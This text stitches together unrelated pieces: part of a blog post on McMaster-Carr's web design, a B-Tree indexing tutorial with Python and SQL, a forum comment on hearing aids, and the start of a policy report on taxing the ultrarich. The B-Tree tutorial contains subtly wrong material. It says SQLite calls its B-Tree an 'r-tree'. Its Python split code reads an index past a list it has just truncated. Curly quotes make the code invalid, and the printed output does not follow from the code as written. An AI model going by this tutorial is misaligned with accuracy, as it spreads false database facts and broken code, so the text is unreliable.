Now I move my attention to the left nav bar, which shows me several filtering options. Bolts are commonly specified by their
thread size
(e.g. 1/4"-20), and their length. I'm looking for a 1/4"-20 x 1" bolt, meaning that the bolt's diameter is 1/4" and its length is 1", so I select these filters.
There are over a dozen other filters, such as material, hardness, and head size. Once I've applied enough filters, The main search window shows individual items, rather than subcategories. Here I can select an item and add it to cart.
McMaster's search interface is the main reason for its design superiority. Everything on this page is designed to get you to your part as quickly as possible. The filter sections are simple and elegant, providing schematic illustrations when necessary. The illustrations are always simplified to convey only relevant information, as to not distract you from the focus of your search.
Results pages also show helpful drop-downs which explain the parts you're looking at. It's like an engineer's handbook and catalog in one. Engineers are often looking up terminology on the fly anyways, so having this information embedded into the site saves valuable time.
McMaster's filters are not only useful for a targeted search, but also for deciding what it is you want. Sometimes I'll search with only a general idea of the part I need, and then I'll use the subcategory descriptions to determine specifics. For example, I may know that I need some type of lock washer, but I'm unsure which one is best for my application. I can use the images and descriptions to decide on the right configuration.
many varieties of lock washers
McMaster is able to provide such intuitive searching and filtering because everything that they sell is highly legible – it's all defined by quantitative specs. There is nothing intangible to deal with, like brands, product photos, or other marketing fluff. Even still, they do a much better job than other industrial websites like
Grainger
,
DigiKey
, or
Home Depot
.
As a point of comparison, Amazon does a terrible job of filtering items. Amazon has an order of magnitude more products on its site, which admittedly makes the job a lot more difficult. However, even generic filters, like price, suck. I won't get too far into my disdain for amazon's UI design, other people have already written too much about it [1] and that's not the point, but it's interesting to contrast McMaster with what everyone sees as "the" e-commerce site.
Take Amazon's price picker: Why is it two text boxes? Why not a slider? This has always annoyed me, since it's much easier for me to drag a slider than to manually type in my max price. And the quick-select ranges are literally the exact same no matter the product. If I search for a pen, nearly every result I want should be under $25. If I search for a trampoline, every result I want should probably be over $200. What the fuck?! I guess this somehow won the A/B test, but I can't think of a reason why.
Amazon Price Filter
Finally, one of the most brilliant parts of McMaster's product is that for nearly every part, they have a CAD file that you can instantly download into your 3D models. Mechanical engineers mock up designs in CAD programs before actually building them, and having access to pre-modeled parts saves time. (Imagine having to manually model all your nuts and bolts.) McMaster even has
extensions
for popular CAD programs which allow you to import part files directly, instead of using their website. This makes engineer's lives 10x easier (not to mention making them more likely to purchase from McMaster-Carr). The closest analogy to this is AR try-on, but that's not even very accurate. The point of AR try-on is to determine whether you like the item you're about to buy, whereas the point of McMaster's CAD downloads is to speed up an engineer's workflow. In most cases, they already know which part they need, it's just a matter of completing the CAD model before they can start building the real thing.
Improvements
Mcmaster.com
is nearly perfect. It's a website that would make
Steve Krug
smile. My only suggestion would be to make the search bar on the home page more prominent. It's visually overwhelming to comb through dozens of product photos, so I pretty much always use the search bar to start narrowing down items. The main area of the homepage is effectively dead space, while the search bar is relatively tiny. New users might miss it, wasting time.
I decided to write about McMaster-Carr because it is so rare to see such careful thought go into an industrial web app, far removed from the commotion of silicon valley, web3, D2C, and the other typical subjects of pixel perfection.
Mcmaster.com
is a product that understands its customer. The minimal, functional design allows users to find their parts as quickly as possible, nothing more or less. It's an unexpected reminder to not get lost in the allure of smooth gradients, 3D animations, or slick fonts, and instead relentlessly focus on what it is your customers really want.
"If something is 100 percent functional, it is always beautiful...there is no such thing as an ugly nail or an ugly hammer but there's lots of ugly cars, because not everything in a car is functional...sometimes it's very beautiful, if the person who designed it has very good taste, but sometimes it's ugly." [2]
Footnotes
[1] "Jeff Bezos is an infamous micro-manager. He micro-manages every single pixel of Amazon's retail site. He hired Larry Tesler, Apple's Chief Scientist and probably the very most famous and respected human-computer interaction expert in the entire world, and then ignored every goddamn thing Larry said for three years until Larry finally -- wisely -- left the company. Larry would do these big usability studies and demonstrate beyond any shred of doubt that nobody can understand that frigging website, but Bezos just couldn't let go of those pixels, all those millions of semantics-packed pixels on the landing page. They were like millions of his own precious children. So they're all still there, and Larry is not."
https://gist.github.com/chitchcock/1281611
Your database has 10 million user records. You query for one user by ID. The database returns the result in 3 milliseconds. How?
If the database scanned all 10 million records sequentially, it would take seconds, maybe minutes. But databases don’t scan. They use an index—and that index is almost certainly a B-Tree.
Every major database system uses B-Trees: MySQL InnoDB, PostgreSQL, SQLite, MongoDB’s WiredTiger storage engine, Oracle Database, Microsoft SQL Server. It’s not a coincidence. B-Trees solve a fundamental problem: how to efficiently find data on disk when disk access is thousands of times slower than memory access.
This is the story of why binary search trees fail on disk, how B-Trees fix that problem, and why after 50+ years, we’re still using them.
Let’s start with what doesn’t work: binary search trees (BSTs) on disk.
In memory, binary search trees are excellent. Each node stores one key and has two children (left and right). Keys in the left subtree are smaller, keys in the right subtree are larger. Finding a key takes O(log₂ n) comparisons.
Figure 1: Binary search tree with 7 nodes. Finding key 11 takes 3 comparisons: 15 → 7 → 11.
For 1 million records, a balanced BST has height log₂(1,000,000) ≈ 20. That’s 20 comparisons to find any record.
In memory, this is fast.
Each comparison is a pointer dereference (~0.0001 milliseconds on modern CPUs). Total lookup: 0.002 ms.
On disk, this is catastrophic.
Here’s why:
The smallest unit of disk access is a block (typically 4 KB to 16 KB). To read a single byte from disk, you must read the entire block containing it.
Disk access times:
Disk is 100-100,000x slower than RAM.
With a BST on disk, each node is stored in a separate disk block. Traversing from parent to child requires a disk seek.
For 1 million records:
Height: 20 nodes
Disk seeks: 20
Time on HDD: 20 × 10 ms =
200 milliseconds
Time on SSD: 20 × 0.1 ms =
2 milliseconds
That’s acceptable for SSDs, but terrible for HDDs. And it gets worse as the tree grows.
For 1 billion records:
Height: 30 nodes
Time on HDD: 30 × 10 ms =
300 milliseconds
Time on SSD: 30 × 0.1 ms =
3 milliseconds
The fundamental problem:
BST fanout is too low (only 2 children per node). We need more children per node to reduce tree height.
You might think: “Just keep the tree balanced!” Red-black trees and AVL trees do this.
The problem isn’t just tree height—it’s maintenance cost. Balancing requires rotating nodes and updating pointers. In memory, this is cheap (a few pointer writes). On disk, it’s expensive:
Read the node from disk (4 KB block)
Modify the node in memory
Write the modified node back to disk (4 KB block)
Update parent pointers (more disk I/O)
For a tree with frequent inserts and deletes, constant rebalancing kills performance. We need a data structure that:
Has high fanout (many children per node) → reduces height
A B-Tree is a self-balancing tree optimized for disk access. Instead of 2 children per node (binary tree), a B-Tree node has
hundreds or thousands
of children.
Key idea:
Each B-Tree node fits in one disk block (4 KB to 16 KB). Since we must read an entire block anyway, pack as many keys as possible into it.
A B-Tree node stores:
N keys
(sorted)
N + 1 pointers
to child nodes
Each key acts as a separator: keys in child[i] are less than key[i], keys in child[i+1] are greater than or equal to key[i].
Figure 2: B-Tree with fanout ~100. Root has 2 keys and 3 children. Internal nodes have 4 keys and 5 children. Leaf nodes contain actual data.
B-Trees have three types of nodes:
Root node:
The top of the tree. There’s always exactly one root.
Internal nodes:
Middle layers that guide searches. They store separator keys and pointers, but no actual data.
Leaf nodes:
Bottom layer containing the actual data (key-value pairs). All leaves are at the same depth.
This is a
B+-Tree
, the most common variant. B+-Trees store data only in leaves, while B-Trees can store data in internal nodes too. Every major database uses B+-Trees, but calls them “B-Trees” for simplicity.
Binary tree (fanout = 2):
1 million records → height = 20
1 billion records → height = 30
B-Tree (fanout = 100):
1 million records → height = 3 (because 100³ = 1,000,000)
Finding a key in a B-Tree is a root-to-leaf traversal with binary search at each node.
Algorithm:
Start at the root node
Binary search the keys in the current node to find the separator key range
Follow the corresponding child pointer
Repeat until reaching a leaf node
In the leaf, either find the key or conclude it doesn’t exist
Time complexity:
Tree height: O(log_fanout n)
Binary search per node: O(log₂ fanout)
Total: O(log n)
Example:
Find key 72 in a B-Tree with fanout 100 and 1 million records.
Step 1: Read root node (1 disk I/O)
Keys: [50, 100, 150, ...]
72 is between 50 and 100
Follow child pointer 2
Step 2: Read internal node (1 disk I/O)
Keys: [55, 60, 65, 70, 75, 80, ...]
72 is between 70 and 75
Follow child pointer 5
Step 3: Read leaf node (1 disk I/O)
Keys: [71, 72, 73, 74]
Found! Return value for key 72
Total: 3 disk I/O operations = 30 ms on HDD, 0.3 ms on SSD
Let’s implement a simplified but functional B-Tree in Python.
from typing import List, Optional, Tuple
from dataclasses import dataclass, field
@dataclass
class BTreeNode:
“”“
B-Tree node storing keys and child pointers.
Attributes:
keys: Sorted list of keys in this node
children: List of child node pointers (len = len(keys) + 1)
is_leaf: True if this is a leaf node (no children)
Invariants:
- len(children) == len(keys) + 1 (for internal nodes)
- All keys are sorted
- Keys in children[i] < keys[i] < keys in children[i+1]
“”“
keys: List[int] = field(default_factory=list)
children: List[’BTreeNode’] = field(default_factory=list)
is_leaf: bool = True
def __repr__(self):
return f”BTreeNode(keys={self.keys}, is_leaf={self.is_leaf})”
class BTree:
“”“
B-Tree implementation with configurable order.
Attributes:
order: Maximum number of children per node (fanout)
root: Root node of the tree
Properties:
- Each node has at most (order - 1) keys
- Each non-root node has at least (order // 2 - 1) keys
- Tree height is O(log_order n)
Time Complexity:
- Search: O(log n)
- Insert: O(log n)
- Delete: O(log n)
Space Complexity: O(n)
“”“
def __init__(self, order: int = 100):
“”“
Initialize B-Tree.
Args:
order: Maximum number of children per node (fanout).
Higher order = fewer levels but larger nodes.
Typical values: 100-1000 for disk-based storage.
“”“
if order < 3:
raise ValueError(”Order must be at least 3”)
self.order = order
self.root = BTreeNode()
def search(self, key: int) -> Optional[int]:
“”“
Search for a key in the B-Tree.
Args:
key: The key to search for
Returns:
The key if found, None otherwise
Time Complexity: O(log n) where n is number of keys
“”“
return self._search_recursive(self.root, key)
def _search_recursive(self, node: BTreeNode, key: int) -> Optional[int]:
“”“
Recursively search for key starting from node.
Uses binary search within each node to find the correct child.
“”“
# Binary search within this node
i = self._binary_search(node.keys, key)
# Found exact match
if i < len(node.keys) and node.keys[i] == key:
return key
# Reached leaf without finding key
if node.is_leaf:
return None
# Recurse into appropriate child
# (In real implementation, this would be a disk I/O)
return self._search_recursive(node.children[i], key)
def _binary_search(self, keys: List[int], key: int) -> int:
“”“
Binary search to find insertion point for key.
Returns:
Index i where keys[i-1] < key <= keys[i]
Time Complexity: O(log m) where m is number of keys in node
“”“
left, right = 0, len(keys)
while left < right:
mid = (left + right) // 2
if keys[mid] < key:
left = mid + 1
else:
right = mid
return left
def insert(self, key: int):
“”“
Insert a key into the B-Tree.
Args:
key: The key to insert
Time Complexity: O(log n)
Algorithm:
1. Find the appropriate leaf node
2. Insert key into leaf
3. If leaf overflows (too many keys), split it
4. Propagate split up the tree if necessary
“”“
root = self.root
# If root is full, split it and create new root
if len(root.keys) >= self.order - 1:
new_root = BTreeNode(is_leaf=False)
new_root.children.append(self.root)
self._split_child(new_root, 0)
self.root = new_root
self._insert_non_full(self.root, key)
def _insert_non_full(self, node: BTreeNode, key: int):
“”“
Insert key into a node that is not full.
Recursively finds the correct leaf and inserts.
“”“
i = len(node.keys) - 1
if node.is_leaf:
# Insert into sorted position
node.keys.append(None) # Make space
while i >= 0 and key < node.keys[i]:
node.keys[i + 1] = node.keys[i]
i -= 1
node.keys[i + 1] = key
else:
# Find child to insert into
while i >= 0 and key < node.keys[i]:
i -= 1
i += 1
# Split child if it’s full
if len(node.children[i].keys) >= self.order - 1:
self._split_child(node, i)
if key > node.keys[i]:
i += 1
self._insert_non_full(node.children[i], key)
def _split_child(self, parent: BTreeNode, child_index: int):
“”“
Split a full child node into two nodes.
Args:
parent: Parent node containing the full child
child_index: Index of the full child in parent.children
Algorithm:
1. Create new sibling node
2. Move half of keys from full child to sibling
3. Promote middle key to parent
4. Update parent’s children list
“”“
full_child = parent.children[child_index]
new_sibling = BTreeNode(is_leaf=full_child.is_leaf)
mid = (self.order - 1) // 2
# Move half the keys to new sibling
new_sibling.keys = full_child.keys[mid + 1:]
full_child.keys = full_child.keys[:mid]
# Move half the children if not a leaf
if not full_child.is_leaf:
new_sibling.children = full_child.children[mid + 1:]
full_child.children = full_child.children[:mid + 1]
# Promote middle key to parent
promoted_key = full_child.keys[mid] if full_child.is_leaf else full_child.keys[mid]
parent.keys.insert(child_index, promoted_key)
parent.children.insert(child_index + 1, new_sibling)
def print_tree(self, node: Optional[BTreeNode] = None, level: int = 0):
“”“
Print tree structure for debugging.
“”“
if node is None:
node = self.root
print(” “ * level + f”Level {level}: {node.keys}”)
if not node.is_leaf:
for child in node.children:
self.print_tree(child, level + 1)
# Example usage and demonstration
if __name__ == “__main__”:
# Create B-Tree with order 5 (max 4 keys per node)
btree = BTree(order=5)
# Insert keys
keys = [10, 20, 5, 6, 12, 30, 7, 17, 3, 16, 21, 24, 25, 26, 27]
print(”Inserting keys:”, keys)
for key in keys:
btree.insert(key)
print(”\nB-Tree structure:”)
btree.print_tree()
# Search for keys
print(”\nSearching for keys:”)
for search_key in [6, 16, 21, 100]:
result = btree.search(search_key)
if result:
print(f” Key {search_key}: FOUND”)
else:
print(f” Key {search_key}: NOT FOUND”)
# Demonstrate disk I/O count
print(”\n--- Performance Analysis ---”)
print(f”Tree order (fanout): {btree.order}”)
print(f”Max keys per node: {btree.order - 1}”)
# Estimate tree height for large datasets
def estimate_height(num_records: int, fanout: int) -> int:
“”“Estimate tree height for given number of records and fanout.”“”
import math
return math.ceil(math.log(num_records, fanout))
datasets = [
(”1 thousand”, 1_000),
(”1 million”, 1_000_000),
(”1 billion”, 1_000_000_000),
]
fanouts = [5, 100, 1000]
print(”\nEstimated tree height (= disk seeks):”)
print(f”{’Dataset’:<15} {’Fanout=5’:<10} {’Fanout=100’:<12} {’Fanout=1000’:<12}”)
for name, size in datasets:
heights = [estimate_height(size, f) for f in fanouts]
print(f”{name:<15} {heights[0]:<10} {heights[1]:<12} {heights[2]:<12}”)
print(”\nDisk access time on HDD (10ms per seek):”)
print(f”{’Dataset’:<15} {’Fanout=5’:<10} {’Fanout=100’:<12} {’Fanout=1000’:<12}”)
for name, size in datasets:
times = [f”{estimate_height(size, f) * 10}ms” for f in fanouts]
print(f”{name:<15} {times[0]:<10} {times[1]:<12} {times[2]:<12}”)
Output:
Inserting keys: [10, 20, 5, 6, 12, 30, 7, 17, 3, 16, 21, 24, 25, 26, 27]
B-Tree structure:
Level 0: [12, 20, 25]
Level 1: [3, 5, 6, 7, 10]
Level 1: [16, 17]
Level 1: [21, 24]
Level 1: [26, 27, 30]
Searching for keys:
Key 6: FOUND
Key 16: FOUND
Key 21: FOUND
Key 100: NOT FOUND
--- Performance Analysis ---
Tree order (fanout): 5
Max keys per node: 4
Estimated tree height (= disk seeks):
Dataset Fanout=5 Fanout=100 Fanout=1000
1 thousand 5 2 1
1 million 9 3 2
1 billion 13 5 3
Disk access time on HDD (10ms per seek):
Dataset Fanout=5 Fanout=100 Fanout=1000
1 thousand 50ms 20ms 10ms
1 million 90ms 30ms 20ms
1 billion 130ms 50ms 30ms
Why this implementation works:
Each node stores up to
order - 1
keys
Split operation maintains the B-Tree invariants
Binary search within nodes reduces comparisons
Tree height stays logarithmic
When you insert a key into a full leaf node, the node must split.
Split algorithm:
Find the midpoint of the full node
Create a new sibling node
Move half the keys to the new node
Promote the middle key to the parent
If parent is full, split it recursively
Figure 3: Node split during insertion. The full node is split at the midpoint, and the middle key (30) is promoted to the parent.
When splits propagate to the root:
The root is split into two nodes
A new root is created with one key (the promoted key from the old root)
Tree height increases by 1
This is the only way tree height increases in a B-Tree.
B-Trees grow upward from the leaves, not downward from the root.
When you delete a key from a node and it becomes too empty (below 50% capacity), it merges with a sibling.
Merge algorithm:
Copy all keys from right sibling to left sibling
Demote the separator key from parent into the merged node
Remove the right sibling
If parent becomes too empty, merge it recursively
Figure 4: Node merge during deletion. When the right node becomes too empty, it merges with the left node, pulling the separator key from the parent.
When merges propagate to the root:
If the root has only one child after a merge, that child becomes the new root
Tree height decreases by 1
Splits and merges keep the tree balanced. All leaf nodes remain at the same depth, ensuring consistent query performance.
Time complexity:
O(log n)
For a tree with n keys and fanout f:
Tree height: log_f(n)
Binary search per node: log₂(f)
Total comparisons: log_f(n) × log₂(f) = O(log n)
Disk I/O:
log_f(n) disk reads (one per level)
Time complexity:
O(log n)
Lookup to find insertion point: O(log n)
Insert into leaf: O(f) to shift keys
Split if necessary: O(f) to move keys
Splits propagate up: O(log n) levels in worst case
Disk I/O:
O(log n) disk reads + O(log n) disk writes
Time complexity:
O(log n)
Lookup to find key: O(log n)
Delete from leaf: O(f) to shift keys
Merge if necessary: O(f) to move keys
Merges propagate up: O(log n) levels in worst case
Disk I/O:
O(log n) disk reads + O(log n) disk writes
Space:
O(n)
Each key is stored once. Internal nodes add overhead (pointers and separator keys), but this is typically 10-20% of data size.
Occupancy:
Nodes are typically 50-90% full. Higher fanout improves space efficiency because pointer overhead becomes proportionally smaller.
Every major database uses B-Trees (or B+-Trees) for indexes.
InnoDB uses B+-Trees for:
Primary key index
(clustered index): Stores actual row data in leaf nodes
Secondary indexes
: Store pointers to primary key in leaf nodes
InnoDB B-Tree configuration:
Page size: 16 KB (default)
Fanout: ~100-200 depending on key size
Tree height for 1 million rows: 3-4 levels
Example:
-- Create table with primary key
CREATE TABLE users (
id INT PRIMARY KEY,
name VARCHAR(100),
email VARCHAR(100)
) ENGINE=InnoDB;
-- Primary key automatically creates a clustered B+-Tree index
-- Leaf nodes contain the actual row data
-- Tree structure: id=1 stored with name and email in leaf
-- Create secondary index on email
CREATE INDEX idx_email ON users(email);
-- Secondary index is a separate B+-Tree
-- Leaf nodes contain email → id mappings
-- To fetch full row: lookup email in idx_email → get id → lookup id in primary key
InnoDB query performance:
-- Fast: Uses B-Tree index
SELECT * FROM users WHERE id = 12345;
-- Disk I/O: 3-4 reads (tree height)
-- Slow: Full table scan
SELECT * FROM users WHERE name = ‘Alice’;
-- Disk I/O: 10,000+ reads (scan all pages)
-- Fast: Uses secondary index
SELECT * FROM users WHERE email = ‘alice@example.com’;
-- Disk I/O: 6-8 reads (3-4 for idx_email + 3-4 for primary key)
PostgreSQL uses B-Trees as the default index type.
PostgreSQL B-Tree configuration:
Page size: 8 KB (default)
Fanout: ~50-100 depending on key size
Supports multiple index types (B-Tree, Hash, GiST, GIN, BRIN), but B-Tree is default
Example:
-- Default index is B-Tree
CREATE INDEX idx_user_id ON users(id);
-- Explicitly specify B-Tree
CREATE INDEX idx_user_email ON users USING BTREE(email);
-- View index structure
SELECT * FROM pg_indexes WHERE tablename = ‘users’;
SQLite uses B-Trees for both tables and indexes.
SQLite B-Tree configuration:
Page size: 4 KB (default, configurable to 64 KB)
Fanout: ~50-100
All data is stored in B-Trees (no separate heap storage)
Interesting fact:
SQLite calls its B-Tree implementation “r-tree” for historical reasons, but it’s actually a B+-Tree.
MongoDB’s WiredTiger storage engine uses B-Trees for indexes.
WiredTiger B-Tree configuration:
Internal page size: 4 KB (default)
Leaf page size: 32 KB (default)
Fanout: ~100-200
Supports prefix compression to increase fanout
Example:
// MongoDB creates B-Tree index on _id by default
db.users.insertOne({ _id: 1, name: “Alice”, email: “alice@example.com” });
// Create secondary index (B-Tree)
db.users.createIndex({ email: 1 });
// Query uses B-Tree index
db.users.find({ email: “alice@example.com” });
// Disk I/O: 3-4 reads (tree height)
// Explain shows index usage
db.users.find({ email: “alice@example.com” }).explain();
// Output: “indexName”: “email_1”, “stage”: “IXSCAN”
B-Trees are not perfect. Here’s when they struggle:
Every insert may trigger splits all the way to the root. In the worst case:
Example:
Inserting 1 million keys with frequent splits:
Logical writes: 1 million
Physical writes (with splits): 2-3 million
Write amplification: 2-3x
Alternative:
LSM-Trees (Log-Structured Merge Trees) used by RocksDB, Cassandra, and LevelDB. LSM-Trees batch writes in memory and flush sequentially to disk, avoiding in-place updates.
B-Trees are optimized for range queries on the indexed key, but struggle with multi-column range queries.
Example:
-- Fast: Range query on indexed column
SELECT * FROM orders WHERE order_date BETWEEN ‘2024-01-01’ AND ‘2024-12-31’;
-- B-Tree traverses leaf nodes sequentially (leaf nodes are linked)
-- Slow: Range query on non-indexed column
SELECT * FROM orders WHERE total_amount BETWEEN 100 AND 200;
-- Must scan entire table (no index on total_amount)
-- Slow: Multi-column range query
CREATE INDEX idx_date_amount ON orders(order_date, total_amount);
SELECT * FROM orders WHERE order_date > ‘2024-01-01’ AND total_amount > 100;
-- B-Tree can use order_date range, but must filter total_amount in memory
Alternative:
Multi-dimensional indexes like R-Trees (for spatial data) or hybrid indexes.
To avoid disk I/O, databases cache frequently accessed B-Tree nodes in memory. For a large database:
1 billion records
Tree height: 4 levels
Internal nodes: ~1 million
Cache size: ~16 GB (to cache all internal nodes)
Rule of thumb:
Plan for 10-20% of your database size in RAM for B-Tree caches.
After many inserts and deletes, B-Tree nodes may be only 50-60% full. This wastes space and increases tree height.
Solution:
Periodic VACUUM (PostgreSQL) or OPTIMIZE TABLE (MySQL) to rebuild B-Trees.
Example:
-- PostgreSQL: Rebuild table and indexes
VACUUM FULL users;
-- MySQL: Optimize table (rebuilds B-Tree)
OPTIMIZE TABLE users;
B-Trees require locking during splits and merges. In high-concurrency workloads, lock contention can bottleneck writes.
Solution:
Latch-free B-Trees (used in modern databases like Microsoft SQL Server) or MVCC (Multi-Version Concurrency Control).
B-Trees are excellent for disk-based sorted data, but not always optimal:
If you’re doing 100,000 writes/sec with few reads, LSM-Trees outperform B-Trees.
Comparison:
Examples:
B-Tree: MySQL, PostgreSQL, SQLite
LSM-Tree: RocksDB, Cassandra, LevelDB
If your entire dataset fits in RAM, B-Trees add unnecessary complexity. Hash indexes or skip lists are simpler and faster.
Comparison:
Examples:
Hash index: Memcached, Redis hashes
Skip list: Redis sorted sets
For large analytical queries scanning millions of rows, columnar storage (e.g., Parquet, ORC) outperforms B-Trees.
Comparison:
Examples:
Row storage (B-Tree): MySQL, PostgreSQL
Columnar storage: Parquet (used by Snowflake, BigQuery), ORC (used by Hive)
After 50+ years, B-Trees remain the dominant on-disk data structure because they:
Minimize disk I/O:
High fanout reduces tree height
Balance automatically:
Splits and merges keep all leaves at the same depth
Support range queries:
Sorted keys and leaf-level links enable efficient scans
Work on any disk:
Optimized for both HDDs (sequential I/O) and SSDs (block-level access)
Key insight:
B-Trees match the constraints of disk storage. Since the smallest I/O unit is a block, B-Trees pack as much data as possible into each block. This simple idea—maximizing fanout to minimize height—makes databases fast.
When to use B-Trees:
Disk-based storage (database indexes)
Frequent reads and moderate writes
Range queries on sorted data
General-purpose OLTP workloads
When to consider alternatives:
Write-heavy workloads (LSM-Trees)
In-memory data (hash indexes, skip lists)
Analytical queries (columnar storage)
Every time you query your database and get a result in milliseconds, thank the B-Tree.
This article is based on Chapter 2 (”B-Tree Basics”) of
Database Internals: A Deep Dive into How Distributed Data Systems Work
by Alex Petrov (O’Reilly, 2019).
Additional resources:
Bayer, R., & McCreight, E. (1972). “Organization and Maintenance of Large Ordered Indexes.”
Acta Informatica
, 1(3), 173-189.
https://doi.org/10.1007/BF00288683
Petrov, A. (2019).
Database Internals: A Deep Dive into How Distributed Data Systems Work
. O’Reilly Media. ISBN: 978-1492040347
Knuth, D. E. (1998).
The Art of Computer Programming, Volume 3: Sorting and Searching (2nd Ed.)
. Addison-Wesley. ISBN: 978-0201896855
Graefe, G. (2011).
Modern B-Tree Techniques
. Now Publishers. ISBN: 978-1601984197
Thanks for reading!
If you found this deep-dive helpful, subscribe to
m3mo Bytes
for more technical explorations of databases, distributed systems, and data structures.
Have you worked with B-Trees or database indexes? What performance challenges have you faced? Share your experiences in the comments—I read and respond to every one.
What database systems have you worked with? (MySQL, PostgreSQL, MongoDB?)
Have you encountered B-Tree performance bottlenecks in production?
What index strategies have worked well for your workload?
Have you compared B-Trees to LSM-Trees for write-heavy workloads?
Any interesting query optimization stories with indexes?
I have worn hearing aids since childhood in the '90s. Moderate sloping to profound loss. Been through all the tech since the equalized analog era.
For a while now, like the last 15 to 20 years, since hearing aids went DSP, I had not been much impressed by each new generation. At the risk of sounding like a bit of an advertisement, that changed this year.
I have the new Oticon Intent. RIC style aid. They have some of the best spatial awareness I've experienced. They're capable of quite a lot of directionality - accelerometer and three microphones in each. I had to have the intensity of the directionality turned down a bit. It was startling me when I turned my head and I wasn't hearing things behind me enough. But that's at the expense of less signal due to more environmental noise.
The machine-learning based noise reduction is an improvement over the previous generations, too.
They have a music mode. It drops all the speech remapping and noise reduction and just makes it feel loud. It's some sort of perceptual algorithm: in my case as I turn up the volume it gets more and more treble, because only at the loudest volumes would I hear those high frequencies. All while being power limited at 95 dB SPL so I know I'm not blowing my ears. It's nice to not worry about if it's too loud.
Raising Taxes on the Ultrarich
Portside
portside.org
2025-11-24 02:22:55
Raising Taxes on the Ultrarich
Ira
Sun, 11/23/2025 - 21:22
...
The public has supported raising taxes on the ultrarich and corporations for years, but policymakers have not responded. Small increases in taxes on the rich that were instituted during times of Democratic control of Congress and the White House have been consistently swamped by larger tax cuts passed during times of Republican control. This was most recently reflected in the massive budget reconciliation bill pushed through Congress exclusively by Republicans and signed by President Trump. This bill extended the large tax cuts first passed by Trump in 2017 alongside huge new cuts in public spending. This one-step-forward, two-steps-back dynamic has led to large shortfalls of federal revenue relative to both existing and needed public spending.
Raising taxes on the ultrarich and corporations is necessary for both economic and political reasons. Economically, preserving and expanding needed social insurance and public investments will require more revenue. Politically, targeting the ultrarich and corporations as sources of the first tranche of this needed new revenue can restore faith in the broader public that policymakers can force the rich and powerful to make a fair contribution. Once the public has more faith in the overall fairness of the tax system, future debates about taxes can happen on much more constructive ground.
Policymakers should adopt the following measures:
Tax wealth (or the income derived from wealth) at rates closer to those applied to labor earnings. One way to do this is to impose a wealth tax on the top 0.1% of wealthy households.
Restore effective taxation of large wealth dynasties. One way to do this would be to convert the estate tax to a progressive inheritance tax.
Impose a high-income surtax on millionaires.
Raise the top marginal income tax rate back to pre-2017 levels.
Close tax loopholes for the ultrarich and corporations.
Introduction
The debate over taxation in the U.S. is in an unhealthy state. The public is deeply distrustful of policymakers and doesn’t believe that they will ever put typical families’ interests over those of the rich and powerful. In tax policy debates, this means that people are often highly skeptical of any proposed tax increases, even when they are told it will affect only (or, at least, overwhelmingly) the very rich. People are also so hungry to see
any
benefit at all, no matter how small, that they are often willing to allow huge tax cuts for the ultrarich in tax cut packages if those packages include any benefit to them as well. The result has been a continued downward ratchet of tax rates across the income distribution.
1
This is a terrible political dynamic for U.S. economic policy, given the pressing national needs for more revenue.
As countries get richer and older, the need for a larger public sector naturally grows.
2
Yet the share of national income collected in taxes by the U.S. government has stagnated since the late 1970s. This has left both revenue and public spending in the United States at levels far below those of advanced country peers.
3
This stifling of resources available for the public sector is not only inefficient but has led to frustration over its inability to perform basic functions. The political root of this suppression of resources for the public sector is a series of successful Republican pushes to lower tax rates for the richest households and corporations. This attempt to use tax policy to increase inequality has amplified other policy efforts that have increased inequality in pre-tax incomes, leading to suppressed growth in incomes and declining living standards for low- and middle-income households and a degraded public sector.
4
In recent decades the dominant strategy for many on the center–left to combat the public’s tax skepticism is to pair tax increases with spending increases for programs that lawmakers hope will be popular enough to justify the taxes. This strategy has worked in the sense that some tax increases have been passed in the same legislation that paid for valuable expansions of income support, social insurance, and public investment programs in recent years. But this strategy has not stopped the damaging political dynamic leading to the sustained downward ratchet of tax revenue and the tax rates granted to the ultrarich and corporations.
5
Part of the problem with a strategy of trying to attach tax increases to allegedly more popular spending increases is that it takes time for spending programs to
become
popular. The Affordable Care Act (ACA), for example, was not particularly popular in the year of its passage but has survived numerous efforts to dislodge it and has seemingly become more popular over time. Conversely, the expanded Child Tax Credit (CTC) that was in effect in 2021 and cut child poverty in half only lasted a single year, so there was little organic public pressure on Congress to ensure it continued.
In this report, we suggest another strategy for policymakers looking to build confidence in the broader public that tax policy can be made fairer: Target stand-alone tax increases unambiguously focused on ultrarich households and corporations as the first priority of fiscal policy. The revenue raised from this set of confidence-building measures can be explicitly aimed at closing the nation’s fiscal gap (the combination of tax increases or spending cuts needed to stabilize the ratio of public debt to national income).
6
Once this gap has been closed with
just
highly progressive taxes, the public debate about the taxes needed to support valuable public investments and welfare state expansions should be on much more fruitful ground.
This approach takes seriously the work of scholars like Williamson (2017), who argue that the U.S. public is not rigidly “anti-tax.” Indeed, this public often views taxpaying as a civic responsibility and moral virtue. Yet they have become convinced that too many of their fellow citizens are not making a fair and adequate contribution. Part of this perception rests on underestimating the taxes paid by the poor and working people, but a good part of this perception also rests on the accurate impression that many rich households and corporations are not paying their fair share. Policy can change this latter perception, particularly if the policy is explicitly identified with ensuring that the rich and corporations—and
only
the rich and corporations—will see their taxes increase.
The rest of this report describes a number of tax policy changes that would raise revenue from the rich and corporations with extremely small (often zero) spillover into higher taxes for anybody else. It also provides rough revenue estimates of how much each could raise. It is not exhaustive, but it demonstrates that the nation’s current fiscal gap could certainly be closed with only taxes on the very rich. Making this policy agenda and target explicit could go a long way to restoring trust and improving the quality of the debate about taxes.
Targeting the ultrarich
The vast majority (often 100%) of the tax policy changes discussed below would only affect the taxes paid by the top 1% or above (those making well over $563,000 in adjusted gross income in 2024). Many of the taxes—and the vast majority of the revenue raised—will actually come from households earning well above this amount. We will be more specific about the incidence of each tax in the detailed descriptions below. The tax policy changes fall into two categories: increasing the tax rates the rich and ultrarich pay and closing the tax loopholes they disproportionately benefit from. We first present the tax rate changes, and we list them in declining order of progressivity.
Both the rate changes and the loophole closers disproportionately focus on income derived from wealth. By far the biggest reason why rich households’ tax contributions are smaller than many Americans think is appropriate has to do with rich households’ source of income. So much of these households’ income derives from wealth, and the U.S. federal tax system taxes income derived from wealth more lightly than income derived from work. If policymakers are unwilling to raise taxes on income derived from wealth, the tax system can never be made as fair as it needs to be.
Levying a wealth tax on the top 0.1% or above of wealthy households
The WhyNot Initiative (WNI) on behalf of Tax the Greedy Billionaires (TGB) has proposed a wealth tax of 5% on wealth over $50 million, with rates rising smoothly until they hit 10% at $250 million in wealth and then plateauing. With this much wealth, even a household making just a 1% return on their wealth holdings would receive an income that would put them in the top 1% of the income distribution. A more realistic rate of return (say, closer to 7%) would have them in the top 0.1% of income.
